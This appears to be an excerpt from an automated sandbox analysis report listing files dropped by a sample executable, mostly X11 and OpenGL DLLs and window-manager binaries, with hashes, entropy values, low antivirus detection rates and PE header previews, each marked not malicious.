C:\Users\user\AppData\Local\Temp\Mxt242\bin\default.xkm

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	Compiled XKB Keymap: lsb, version 15
Category:	dropped
Size (bytes):	11024
Entropy (8bit):	4.757819671685395
Encrypted:	false
SSDEEP:	192:JD29sY96vQW5Ff5aSLusnVcqoRceCQ1+JdDx0s2T:JD26vTFfcS62wRKMJ
MD5:	DC7C38FAA9B2FFD642F451957A799997
SHA1:	F1841B83B346A682B57A4B8EE066315E976134DB
SHA-256:	5AF454AF48C65B49998A7D0EBDB051924F819F375B7952DEC7E79872553CD033
SHA-512:	D908598B3744CBBCF184D2A715F5D52B0F2412E563AE7F9AB648953DF2C425D72B74463A2C544BC06517D864BC4976BCFA856324EC51D0F26217A12757D51E47
Malicious:	false
Preview:	.mkx..............D.......................l.......@........!......."......D.......NumLock.....Alt.....LevelThree..LAlt....RAlt....RControl....LControl....ScrollLock..LevelFive...AltGr...Meta....Super...Hyper...........xfree86+aliases(qwerty).....?.MDSWESC.AE01AE02AE03AE04AE05AE06AE07AE08AE09AE10AE11AE12BKSPTAB.AD01AD02AD03AD04AD05AD06AD07AD08AD09AD10AD11AD12RTRNLCTLAC01AC02AC03AC04AC05AC06AC07AC08AC09AC10AC11TLDELFSHBKSLAB01AB02AB03AB04AB05AB06AB07AB08AB09AB10RTSHKPMULALTSPCECAPSFK01FK02FK03FK04FK05FK06FK07FK08FK09FK10NMLKSCLKKP7.KP8.KP9.KPSUKP4.KP5.KP6.KPADKP1.KP2.KP3.KP0.KPDLSYRQII5DLSGTFK11FK12HOMEUP..PGUPLEFTII65RGHTEND.DOWNPGDNINS.DELEKPENRCTLPAUSPRSCKPDVRALTBRK.LWINRWINMENUFK13FK14FK15FK16FK17KPDCLVL3ALT.KPEQSUPRHYPRXFERI02.NFERI04.AE13I06.I07.I08.I09.I0A.I0B.I0C.I0D.I0E.I0F.I10.I11.I12.I13.I14.I15.I16.I17.I18.I19.I1A.I1B.METAK59.I1E.I1F.I20.I21.I22.I23.I24.I25.I26.I27.I28.I29.K5A.I2B.I2C.I2D.I2E.I2F.I30.I31.I32.I33.I34.K5B.K5D.K5E.K5F.I39.I3A.I3B.I3C.K62.K63.K64.K65.K66.I42.I43.

C:\Users\user\AppData\Local\Temp\Mxt242\bin\dwm_w32.exe

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	38400
Entropy (8bit):	5.908825874883668
Encrypted:	false
SSDEEP:	768:aokfKeTNUPuijt6NyMn7OCHkTji2tuegJK5MXn3JTpozoD:JiUmGtwH7dJ8cozo
MD5:	2C8F2412669CFAC26B0981A1415283FF
SHA1:	6D52B01EFCC8488E00E2847F377523F09FD3324B
SHA-256:	B66F344A07A86154F9CEE83369B566F88C1419B724E0ECB63E3CC0A43169DEA3
SHA-512:	85B891BECB9C0DFE616CCECA2088A218CBBF3B56A8C10AA6F477E6D3C5D5B25653D79A9C5A70C6AA1D74EC6435310481EAFCEB65476CEAEF7FFB3C3F947CD1DA
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........................Z...................p....@..................................X........ .................................4...................................................................................h................................text....Y.......Z..................`.P`.data...p....p.......^..............@.p..rdata...............`..............@.p@.eh_fram<............l..............@.0@.bss..................................p..idata..4...........................@.0..CRT....4...........................@.0..tls.... ...........................@.0.................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\bin\jwm.exe

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	220686
Entropy (8bit):	6.340277289448987
Encrypted:	false
SSDEEP:	3072:NwVDR2mmv8ie/Sx3/euPDyP1iurSKHDqeZMhh8bE42i:NaNKFYSNzDcrSKHDqeZMhhG5f
MD5:	9130F45BC81E56CF6B7BBD2A002832B1
SHA1:	5C8BFFA512F14C5FB6F87EFDCB76BEB3DDC521B6
SHA-256:	44B68652AF00910EC4D4844EA42C1847E35BEF66D99C655298C90D690C857071
SHA-512:	5174D09922A826AD68FBAEA75CE14CC90F104D27BAD69D847318D1EA63AE25AF09B441BDF9174C8AD483891C1A5B40B46C73392AAAC19E5D4942AAF92C92EE5B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....4.4.^...............P...Z...............`....@.................................H2........ ......................`.......p..................................@#...................................................s..8............................text...TO.......P..................`.P`.data...t....`.......T..............@.0..rdata...J...p...L...V..............@.p@/4......Tr.......t..................@.0@.bss.........@........................p..edata.......`......................@.0@.idata.......p......................@.0..CRT....4............0..............@.0..tls.... ............2..............@.0..rsrc................4..............@.0..reloc..@#.......$...:..............@.0B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\bin\libGL-1.dll

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	892430
Entropy (8bit):	6.337894464528885
Encrypted:	false
SSDEEP:	24576:g+OAmeJjbG8eDUEwBsl9AKccjxfQvOKtvdkgGM2ry5JjQ+XAF:g+OoJjbVSCM+wF
MD5:	C91B4B54E4BB19530DF6AFFDD0E42F9B
SHA1:	181650510E1115F5339F95255F4F35AEF42D3A3F
SHA-256:	933774CE5E2DCCF7D42AF6B3392857F5041EFAD3AAB69650D4AD7E20175E5FB4
SHA-512:	B712AFB2A53E8B48789FA12F94E43F17002F6347DA2A75EF5BC585B1C7CB0218E808485CA5E7409D62EE28453464AC6E4DA4180D68731733F60804AFD6EE8ECA
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....zU...........#.....T......."...........p.....m.........................0......u......... ..............................p...................................q..................................................,t...............................text...$R.......T..................`.P`.data... ....p.......X..............@.p..rdata..(............^..............@.p@/4..................................@.0@.bss..... ............................p..edata...............p..............@.0@.idata.......p......................@.0..CRT....,............(..............@.0..tls.... ............*..............@.0..reloc...q.......r...,..............@.0B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\bin\libICE-6.dll

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	84494
Entropy (8bit):	6.273521373812875
Encrypted:	false
SSDEEP:	1536:LGyewcJ0bjvrkjIkZ9HUUfkSl5TKYMPX3vciUeWAgnABb8GrPuKTVtI3fTP8Y+5P:LrcJ0bjvYjt7HUUfkSltKYYX30iUeWAH
MD5:	26B0E06B44558D5B3349A45671D3862E
SHA1:	EF569964ADE5C7695FA57E8ED65220BF95ADBA5B
SHA-256:	87FAA175E52FF55BC85A1E6B7739DE6602AC2AB781E9916403BAC6661C31BC8F
SHA-512:	4853A3E4AD68AD381390A0B14E061C57D44C7625FA4B6580C5B5F1258C4FF37705D1C3D9A2EC060AF78E4574A15172012EAE0FCFEB034ACC9BA5172A5C793C2E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....zU.J.........#.........F...$.................m.................................>........ .................................h...............................d....................................................................................text...............................`.P`.data...p...........................@.p..rdata... ......."..................@.`@/4.......+... ...,..................@.0@.bss....0"...P........................p..edata..............."..............@.0@.idata..h............2..............@.0..CRT....,............>..............@.0..tls.... ............@..............@.0..reloc..d............B..............@.0B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\bin\libSM-6.dll

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	37390
Entropy (8bit):	5.960473403265231
Encrypted:	false
SSDEEP:	384:cPEB1SygW1SwSy5/Qi7ArMRZOboyXauWBLRyxGyFusnSWNFomdJQgk7XDQIsUHAy:dMy54i7AyGoyXZW6FY6SwomwXD3Ay
MD5:	CDBDD152BDD9950E3B5D67D279D1A277
SHA1:	3ED5A24F96772C89A4B2283A8ADDB786F293FBFA
SHA-256:	75D36494F375E28AC07760AC82AF48C1D6C1685626BD3CFCA23FA6DCA3C8BF53
SHA-512:	F0963E5EAB3F2745B1903E653F02D707ED66345EA6B43B89400400B684198128EA5F14A6A22C56995B70D42D60F517855830893B2DEDB3712B7F216C4D884D98
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....zU...........#.....T...................p.....m................................o0........ .........................C.......l...............................0.......................................................@............................text...tS.......T..................`.P`.data...$....p.......X..............@.0..rdata...............Z..............@.`@/4......`............f..............@.0@.bss....0.............................p..edata..C............x..............@.0@.idata..l............~..............@.0..CRT....,...........................@.0..tls.... ...........................@.0..reloc..0...........................@.0B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\bin\libX11-6.dll

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	1295374
Entropy (8bit):	7.02053670302835
Encrypted:	false
SSDEEP:	24576:uA7S97BMxq0REUm75horlhVwwf7JtdVrd:ud9VMxq0REUm7IrlhVd7d
MD5:	3CD9AF46753F2A618D15157372D0D2BC
SHA1:	F2A1781B1A6D33338DB4D9725B28F15D8A410903
SHA-256:	497471497886F18CA16F7FACAB7D76DC9BFADD69DEB9C6E4EA9BDC0869A15628
SHA-512:	925097106554F6EAC698BA933E32FB82C1405C7CCFE284B27F1558E9AB46139506B1E981721AEAFAF2E0D595DBDFCE3587C4056C6920FDFFB0B2F2BDBDCDB38D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......\...........#..............................7l.........................0................ ......................0..........p......................................................................................t............................text...D...........................`.P`.data...d&.......(..................@.p..rdata..............................@.p@/4......H`.......b..................@.0@.bss....<.... ........................p..edata.......0......................@.0@.idata..p...........................@.0..CRT....,...........................@.0..tls.... ...........................@.0..reloc..........*..................@.0B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\bin\libX11-xcb-1.dll

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	15374
Entropy (8bit):	4.994974973999608
Encrypted:	false
SSDEEP:	192:KM9aToXxQSS4Fk+SVzrw7w0f67JkeWBCemWDThsuaMCS/Ejf1vSqw/qjYZ:R9ioXxQSS6k+YE7w0CJkdBCeMS/ERUWI
MD5:	2B781F4138E302CDE8E6E488C1899A86
SHA1:	B85BC2641FAE42A27A159D3BD74F44B3565EB434
SHA-256:	6A3EBEB389B54015A447B11BCF07348250B530A8CE142BF4E99FE8F1C030CAA3
SHA-512:	00A7CDB52FF396552CDF9F14F30CD2E5C3A0713C69B18ECEA9AEB96049CBA1EAA47022C23157FB5B175C8B3968E1D85D89F72876BA5CFCD97E77492CE2EB03C1
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........<.........#.........8...............0....Ll.......................................... ......................p..s.......................................$....................................................................................text...t...........................`.P`.data........0......................@.0..rdata.......@......................@.0@/4......L....P......."..............@.0@.bss....(....`........................p..edata..s....p.......,..............@.0@.idata..............................@.0..CRT....,............4..............@.0..tls.... ............6..............@.0..reloc..$............8..............@.0B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\bin\libXau-6.dll

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	20494
Entropy (8bit):	5.5077267317487495
Encrypted:	false
SSDEEP:	192:vdBaTJcGAV5S55Nv8ekSoifItD33VBBmBJI3b5Ud5kbQbDTHlNspsorvgAFa2jf7:lBwcGAV5S55ZkBpTVTuI3dUd5GFoCJg+
MD5:	B6F0655BED934503621FCF94BA449A19
SHA1:	F0A5D9EEFFF5F3BCD2E23B9DB748C50CFFC1C6E8
SHA-256:	0DA1F856D92D6B95F10ED8C3F629CD15468C906DE9352FB4AE629139D1412EED
SHA-512:	77A10AE1748E5D76288C59933F3F41D4DC7A690B1F2BC9BFF0B761F9F2C5331F868DC0259FFE4C4672E1806C33F3F9D0FE0A8B09B10E06333D2590F623C5B284
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....zU.P.........#....."...L...............@.....m.......................................... .................................X...............................\|...................................................8................................text....!......."..................`.P`.data... ....@.......&..............@.0..rdata.......P.......(..............@.0@/4......d....`.......0..............@.0@.bss....(....p........................p..edata...............>..............@.0@.idata..X............@..............@.0..CRT....,............H..............@.0..tls.... ............J..............@.0..reloc..\|............L..............@.0B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\bin\libXdmcp-6.dll

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	28686
Entropy (8bit):	5.673992075521211
Encrypted:	false
SSDEEP:	384:sEZJxxKcB6SOd08J0DBljbG4H80iIOitbr0iIOi1Nk6qTdOoTcFbf3IU2xRov+h2:sEYWnJH80Qi0Q+ZOcFDR27e
MD5:	7D4F4D3BC6AB6C3EA2097A7ECD018728
SHA1:	2434FBAD089AC85EDA43C0B0E911AB437B4DFE63
SHA-256:	7705851BA047A8154402ACA92621B60BE0E0E9D9B52B19BF8BE540305BD53DBA
SHA-512:	F9B64CBCD7C7C7B4E942C3DA74FB280762D038F974FC23D1E0431B15787AEFC87464CDA121AA8FCCF499AF46E345DD65AA5FB5CFEE1CB45DBA6E5DD79B01A1D8
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....zU.p.........#.....,...l...............@.....m.................................}........ .....................................................................................................................8................................text....+.......,..................`.P`.data........@.......0..............@.0..rdata..h....P.......2..............@.p@/4...........p.......J..............@.0@.bss....(.............................p..edata...............\..............@.0@.idata...............b..............@.0..CRT....,............h..............@.0..tls.... ............j..............@.0..reloc...............l..............@.0B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\bin\libXext-6.dll

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	72206
Entropy (8bit):	6.123609874831383
Encrypted:	false
SSDEEP:	768:PuaGr0c7vFXB4tMxuttwDzC7iK+zhCYgwAflM1AhAFyfZMuFUsSn78P:PaBhXmtRttwvCRCbA36FSZyK
MD5:	4BF9885DFF08BE26C5A7AA73A005A26D
SHA1:	02C61B20248892127A2D50A0D2CDFFF4E7909E8B
SHA-256:	458F0825F25B10F4FEFA6255EA473F3CA8416CC0A10DA73326D84077F29293F8
SHA-512:	4BC488629070D3FE8A2882B1C4996B3741CB22DE417C7E3B07724839D62793335D8D3E7C350B80944EFCDEE1DBA1346DD970E9922E1A0620B6FD02A45173C180
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....zU...........#...............................m.................................c........ ......................0.......@...............................p..d............................`.......................A..P............................text...d...........................`.P`.data...\...........................@.`..rdata..............................@.0@/4.......5.......6..................@.0@.bss......... ........................p..edata.......0......................@.0@.idata.......@......................@.0..CRT....,....P......................@.0..tls.... ....`......................@.0..reloc..d....p......................@.0B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\bin\libXfont-1.dll

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	178190
Entropy (8bit):	6.4963825242656235
Encrypted:	false
SSDEEP:	3072:08gZ7rTGhL24YGH8++RYcqnkRwXFvsm33UbZKOlZB6ak0iYNvNc:NG7sYvmUbhBhvS
MD5:	6A47427B646F556621917A93B9DBABB1
SHA1:	47EBF94EB7B00E920C00D7B5034388F796237D2B
SHA-256:	B6553159C0C33EFD882FC030ADD02B2622E9E49F8F0574A1F82D6BCA4F60D99C
SHA-512:	9670A62AF9C1C34FEF1DC563D8F6A44FDAF276246D8154D626852BE2B1B9F4119F0468B0ACC7718C88FECA48B9DFBD9E9F0D9372DAD72C0C0EB63F5CE6119730
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....Q.U...........#...............................m.........................0......w......... .............................................................. ..........................................................x............................text...4...........................`.P`.data...4...........................@.p..rdata..\P.......R..................@.p@/4......@7...p...8...N..............@.0@.bss....@.............................p..edata..............................@.0@.idata..............................@.0..CRT....,...........................@.0..tls.... ...........................@.0..reloc....... ......................@.0B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\bin\libXmu-6.dll

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	101902
Entropy (8bit):	6.2765108310651305
Encrypted:	false
SSDEEP:	1536:Mqzs5I5KD+fcL5JIfPXyWKSTgO2MrKSaiN/XMrrnlMqI448RSoW2AhPzFKuuvLL:Rs5IUD7sfvyWKDTlSqrrZ4wtGzFKuU
MD5:	50C2F9CF1077B59843E13E127964C943
SHA1:	C0ED8B5BAEDB92D5C28716B0C85F09A19CE9E81A
SHA-256:	E1FAC42E5AB62C3BCA76AA3440394727E1D78367BFA7005722ADADFD112855B6
SHA-512:	1425A1EE9D2BC428EC6668F57C3CB63DDF1DF7A1917ACEB7C893F875B3A979F63948B2F956A5F7615B3AF15A8ACF564EBE1FC9B530F0220D5F2233DF0D33C0C8
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....zU...........#...............................m.......................................... .........................?.......,...................................................................................X................................text...............................`.P`.data...............................@.p..rdata...#... ...$..................@.p@/4.......4...P...6..."..............@.0@.bss....(.............................p..edata..?............X..............@.0@.idata..,............j..............@.0..CRT....,...........................@.0..tls.... ...........................@.0..reloc..............................@.0B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\bin\libXmuu-1.dll

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	22030
Entropy (8bit):	5.6049379867568065
Encrypted:	false
SSDEEP:	384:DCvpUi963ISrNjEmuSrik8kX8BdwNq9P4qUP1Em:ALmZr52dwIm
MD5:	FC8788C68B2153C89EC728A06DC8F568
SHA1:	DC814169EBF1B22ECEFE46854C080C78794FCD7D
SHA-256:	119B8D57F6AAC50C6E2B088E8D732D59E9E3A3B2DF609DA74FFEF7766041B745
SHA-512:	5BCDCECD23777BEC6FC5E21E942A369EEA23E67159A05CCF33CE99E98331C3AC676DA5C6A8D90F476089FF0D9084F2DE808E6ECC59F4EF2099A9712B76C0813C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....8.9.V.........#.....$...R...............@.....m.......................................... .................................................................D...................................................X................................text...D".......$..................`.P`.data........@.......(..............@.0..rdata..,....P.......*..............@.p@/4......X....`.......8..............@.0@.bss....(....p........................p..edata...............D..............@.0@.idata...............F..............@.0..CRT....,............N..............@.0..tls.... ............P..............@.0..reloc..D............R..............@.0B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\bin\libXt-6.dll

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	345102
Entropy (8bit):	6.3988584718565304
Encrypted:	false
SSDEEP:	6144:0FAfQQ/GyuEuU+jAWHVbSoyfX4a0zxQn12xfRKX:nfXGyP+jAWHNafX10ly1KKX
MD5:	64F3A85585D05537EFE179362FCC3714
SHA1:	90E5447076999BB59CA18085E321D3C29A580BA8
SHA-256:	9E1D34395BD7802EC5B1EB213EA49A6C4DA6CDD3F96DCE91EA6340F87064746A
SHA-512:	A9CF5FE559719CC6A26CF4090DF2A68129BEF0E71F9A48A2755B6C0C082D6238988FBA4EADB0711814C9E1CF903A42BD4288BADFFA4ACF8CCDC49EAF8B94C749
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....zU.D.........#.........@.....................m................................s......... ...................... ...5...`..................................D#..................................................,d...............................text...T...........................`.P`.data...`%.......&..................@.p..rdata..\|f.......h..................@.p@/4..........@......................@.0@.bss..................................p..edata...5... ...6..................@.0@.idata.......`......................@.0..CRT....,...........................@.0..tls.... ...........................@.0..reloc..D#.......$... ..............@.0B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\bin\libdl.dll

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	17422
Entropy (8bit):	5.468525189180701
Encrypted:	false
SSDEEP:	192:9oqX4Maf/9pG1cBQS6YEn8+K8fZkkLGM2u5YiXNDTPsd9/9ZidfuOiSLU8:9XX4My/9pG1cBQS6nb6kqu28wOY8
MD5:	ED925BDAB51F49813686B62EB82FB4A4
SHA1:	BC7C742B92A5B47089E0B400A8A80BB217E775FE
SHA-256:	E1646C7778C24407A17881908037A49ECFCB5A980D155212D544302653A3EF62
SHA-512:	5BE99A6B0E2091FE37FF50D5A9C4FA789DB27B5BA108801E4D18E99AE584AE1BC91BA3339916DFF8A323155815E660F43CA54FFCC7C14C1E3F90600AEDB54BD8
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....zU.D.........#.........@...............0.....n.................................j........ ......................p..w...........................................................................................(................................text...T...........................`.P`.data...$....0....... ..............@.0..rdata..0....@......."..............@.0@/4...........P.......(..............@.0@.bss.........`........................p..edata..w....p.......4..............@.0@.idata...............6..............@.0..CRT....,............<..............@.0..tls.... ............>..............@.0..reloc...............@..............@.0B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\bin\libfontenc-1.dll

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	32270
Entropy (8bit):	5.6230541349199825
Encrypted:	false
SSDEEP:	384:aEjhIvgCvrSqBncR039TlSk2SbeQyjWvlZB/v9cv7Fgz9HTYs/fvr0vjHQ1u/vJh:YBncR03ak2Sbe4SWRHs0vQvjHQ1ufwg
MD5:	0886859EB6BC88C13797AE668FA74998
SHA1:	D00C0F848174895000D5D1FC40E35CF6F9C56E18
SHA-256:	CACC9C998D90264E088844FFD7A8A9439DE706CDF17D6BBFDE14C0609EF96AA7
SHA-512:	7CFFF08756C6FB294D6225E28944590638B43A7131667B1DE13A150AD18CF1DB155A93E80053D234824DD452B00AA98576BE58FD870E04451C2259736680C30C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....zU.~.........#.....:...z...............P.....n................................-l........ .................................`...............................$...................................................H................................text....9.......:..................`.P`.data........P.......>..............@.p..rdata..4....`.......H..............@.p@/4......t............Z..............@.0@.bss....h.............................p..edata...............j..............@.0@.idata..`............l..............@.0..CRT....,............t..............@.0..tls.... ............v..............@.0..reloc..$............x..............@.0B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\bin\libgcc_s_dw2-1.dll

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	117262
Entropy (8bit):	6.3619675162521645
Encrypted:	false
SSDEEP:	1536:YkTNSPvyLV9dUT+PspQ+2Q4p2VtjByBzEgezt2f38hD99/E3oiHjyYIx7s:YZilU6PspQ+2zsBy2q8hD83oiHjyYA7s
MD5:	D35376C0D447108B2F9D64D4C40014F8
SHA1:	C68129E8BF6CDAAA318C5AAD8974EFBC2B7CE39A
SHA-256:	C7544E1F9927AFDF6E8CD7063020B572E60FE8F00AF39227EB831D331DF38225
SHA-512:	C46AF0BBD3BCA6E12125750A5B1CA4F17F85F84729B1C1C01EE76DE3704BCDB090212202CF449458833F8EE92E9A46C8758CBD069747DE534E2984DCCBE9F24D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....zU...........#.....V...................p.....m.........................0................ ........................._.................................... .......................................................................................text....T.......V..................`.P`.data........p.......Z..............@.0..rdata........... ...\..............@.p@/4......./.......0...\|..............@.0@.bss....x.............................p..edata.._...........................@.0@.idata..............................@.0..CRT....,...........................@.0..tls.... ...........................@.0..reloc....... ......................@.0B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\bin\libglapi-0.dll

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	205838
Entropy (8bit):	5.967692870448838
Encrypted:	false
SSDEEP:	3072:XEuzWU+gImW1gZCnZslqf53P3fMN0PvNPbbkl/v9xRvt3MEsF5HBx0JknvjrFVfE:gP3qI7tuUb9I
MD5:	04E73806D86A77CA6BBFE41BE8DB5494
SHA1:	C31346161EE9A9B40E7E2FC826E6C374778AF7A7
SHA-256:	284701380F33A30B25E8EB9822E7F47179238E91D08BD3FB5A117145DE7E0D8D
SHA-512:	452B95557BFCB638DAA07EA427CD140830839B6AD950D8E282FABEC78CEB7476558AB7996FCB526371C6B143028EBF288C0579F37011B3BE5FBB92D68D452042
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....zU.$.........#.....X... ...............p.....m................................ZO........ ......................P.......`..$...................................................................................da...............................text....V.......X..................`.P`.data...x....p.......\..............@.0..rdata..T............^..............@.p@/4..................P..............@.0@.bss....4....0........................p..edata.......P......................@.0@.idata..$....`......................@.0..CRT....,....p......................@.0..tls.... ...........................@.0..reloc..............................@.0B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\bin\libnativeGLthunk.dll

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	455182
Entropy (8bit):	6.360022127414608
Encrypted:	false
SSDEEP:	6144:CFCat8iCMrnz1eH0sAImrXnFNsi1jWAGV5rIhT:CVnsurXZT
MD5:	0B14D0F9D8E917395EE43CA0A48DAD76
SHA1:	B719C3E3D327467899F87F14000D0731632D65C2
SHA-256:	BC8CB90C6D60DE04431CF2BA2DE1295B66F706EE1FFB915DF72E1C2D0A69CC22
SHA-512:	E15F84138ADC5684A79BCFBA8D68A96F87A09807DFA60190A0D3BFEB02492F7CBF4AC5EBF78FB7B55FD4E54B28711C7E6347AE2CADB8C185FCE50D02BFBC2DC7
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....zU...........#.............,........... .....m.......................................... ..........................N.......(...........................P..L,...........................@......................T................................text...............................`.P`.data........ ......................@.0..rdata.......0......................@.0@/4......dc.......d..................@.0@.bss....(............................p..edata...N.......P...F..............@.0@.idata...(.........................@.0..CRT....,....0......................@.0..tls.... ....@......................@.0..reloc..L,...P......................@.0B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\bin\libwinpthread-1.dll

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	98830
Entropy (8bit):	6.2470966141818
Encrypted:	false
SSDEEP:	1536:IIW8gl4cRxGgURT1nJesB6fyIer2UWrSvTEfqRkb9VhW4iI4im3YcoF:Ieg9xGznJJFmATEYkbviI4im3YcoF
